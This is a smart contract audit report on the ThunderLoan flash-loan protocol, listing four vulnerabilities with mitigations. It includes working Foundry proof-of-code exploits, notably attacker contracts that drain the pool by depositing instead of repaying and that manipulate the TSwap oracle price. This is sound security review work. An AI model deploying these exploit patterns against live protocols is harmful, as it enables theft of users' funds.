Thunderloan Protocol Audit Report

Version 1.0

Mario Danish

June 7, 2025

Thunderloan Protocol Audit Report

Mario Danish

June 07, 2025

Prepared by: Mario Danish

Lead Auditors:

- Mario Danish

Table of Contents

Protocol Summary

The ThunderLoan protocol enables users to take flash loans and allows liquidity providers to earn fees by depositing assets. Flash loans must be repaid within the same transaction, or they revert. Loan fees are calculated using a TSwap-based on-chain price oracle.

The protocol uses the UUPS upgradeable pattern, and an upgrade from ThunderLoan to ThunderLoanUpgraded is in scope. This audit covers flash loan logic, interest accrual, oracle integration, and upgradeability security.

Disclaimer

This audit was performed by Mario Danish in a limited time frame. While efforts were made to find vulnerabilities, no guarantees are provided. The review focuses only on the smart contract security and is not an endorsement of the protocol.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues
HIGH	3
MEDIUM	1
LOW	0
INFORMATIONAL	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8      // @Audit-High
9  @>  // uint256 calculatedFee = getCalculatedFee(token, amount);
10 @>  // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a `flashloan`
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function

3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

Proof of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

```

```
40      function redeemMoney() public {
41          uint256 amount = assetToken.balanceOf(address(this));
42          thunderLoan.redeem(s_token, amount);
43      }
44  }
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2  +    if (s_currentlyFlashLoaning[token]) {
3  +        revert ThunderLoan__CurrentlyFlashLoaning();
4  +    }
5      AssetToken assetToken = s_tokenToAssetToken[token];
6      uint256 exchangeRate = assetToken.getExchangeRate();
7      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
8      emit Deposit(msg.sender, token, amount);
9      assetToken.mint(msg.sender, mintAmount);
10
11     uint256 calculatedFee = getCalculatedFee(token, amount);
12     assetToken.updateExchangeRate(calculatedFee);
13
14     token.safeTransferFrom(msg.sender, address(assetToken), amount);
15 }
```

[H-3] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning

Description: `ThunderLoan.sol` has two variables in the following order:

```
1          uint256 private s_feePrecision;
2          uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
1          uint256 private s_flashLoanFee; // 0.3% ETH fee
2          uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally

the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
    // You'll need to import `ThunderLoanUpgraded` as well
    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";

    function testUpgradeBreaks() public {
            uint256 feeBeforeUpgrade = thunderLoan.getFee();
            vm.startPrank(thunderLoan.owner());
            ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
            thunderLoan.upgradeTo(address(upgraded));
            uint256 feeAfterUpgrade = thunderLoan.getFee();

            assert(feeBeforeUpgrade != feeAfterUpgrade);
        }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1           function getPriceInWeth(address token) public view returns (
               uint256) {
2           address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3   @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4       }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Add the following to ThunderLoanTest.t.sol.

Proof of Code:

```
1  function testOracleManipulation() public {
2      // 1. Setup contracts
3      thunderLoan = new ThunderLoan();
4      tokenA = new ERC20Mock();
5      proxy = new ERC1967Proxy(address(thunderLoan), "");
6      BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7      // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
           Loan
8      address tswapPool = pf.createPool(address(tokenA));
9      thunderLoan = ThunderLoan(address(proxy));
10     thunderLoan.initialize(address(pf));
11
12     // 2. Fund TSwap
13     vm.startPrank(liquidityProvider);
14     tokenA.mint(liquidityProvider, 100e18);
15     tokenA.approve(address(tswapPool), 100e18);
16     weth.mint(liquidityProvider, 100e18);
17     weth.approve(address(tswapPool), 100e18);
18     BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
           timestamp);
19     vm.stopPrank();
20
21     // 3. Fund ThunderLoan
22     vm.prank(thunderLoan.owner());
23     thunderLoan.setAllowedToken(tokenA, true);
```

```
24      vm.startPrank(liquidityProvider);
25      tokenA.mint(liquidityProvider, 100e18);
26      tokenA.approve(address(thunderLoan), 100e18);
27      thunderLoan.deposit(tokenA, 100e18);
28      vm.stopPrank();
29
30      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
31      console2.log("Normal Fee is:", normalFeeCost);
32
33      // 4. Execute 2 Flash Loans
34      uint256 amountToBorrow = 50e18;
35      MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36          address(tswapPool), address(thunderLoan), address(thunderLoan.
                getAssetFromToken(tokenA))
37      );
38
39      vm.startPrank(user);
40      tokenA.mint(address(flr), 100e18);
41      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
            the executeOperation function of flr will
42          // actually call flashloan a second time.
43      vm.stopPrank();
44
45      uint256 attackFee = flr.feeOne() + flr.feeTwo();
46      console2.log("Attack Fee is:", attackFee);
47      assert(attackFee < normalFeeCost);
48  }
49
50  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
51      ThunderLoan thunderLoan;
52      address repayAddress;
53      BuffMockTSwap tswapPool;
54      bool attacked;
55      uint256 public feeOne;
56      uint256 public feeTwo;
57
58      // 1. Swap TokenA borrowed for WETH
59      // 2. Take out a second flash loan to compare fees
60      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
61          tswapPool = BuffMockTSwap(_tswapPool);
62          thunderLoan = ThunderLoan(_thunderLoan);
63          repayAddress = _repayAddress;
64      }
65
66      function executeOperation(
67          address token,
68          uint256 amount,
69          uint256 fee,
70          address, /*initiator*/
```

```
71          bytes calldata /*params*/
72      )
73          external
74          returns (bool)
75      {
76          if (!attacked) {
77              feeOne = fee;
78              attacked = true;
79              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
80              IERC20(token).approve(address(tswapPool), 50e18);
81              // Tanks the price:
82              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
83              // Second Flash Loan!
84              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
85              // We repay the flash loan via transfer since the repay
                    function won't let us!
86              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
87          } else {
88              // calculate the fee and repay
89              feeTwo = fee;
90              // We repay the flash loan via transfer since the repay
                    function won't let us!
91              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
92          }
93          return true;
94      }
95  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.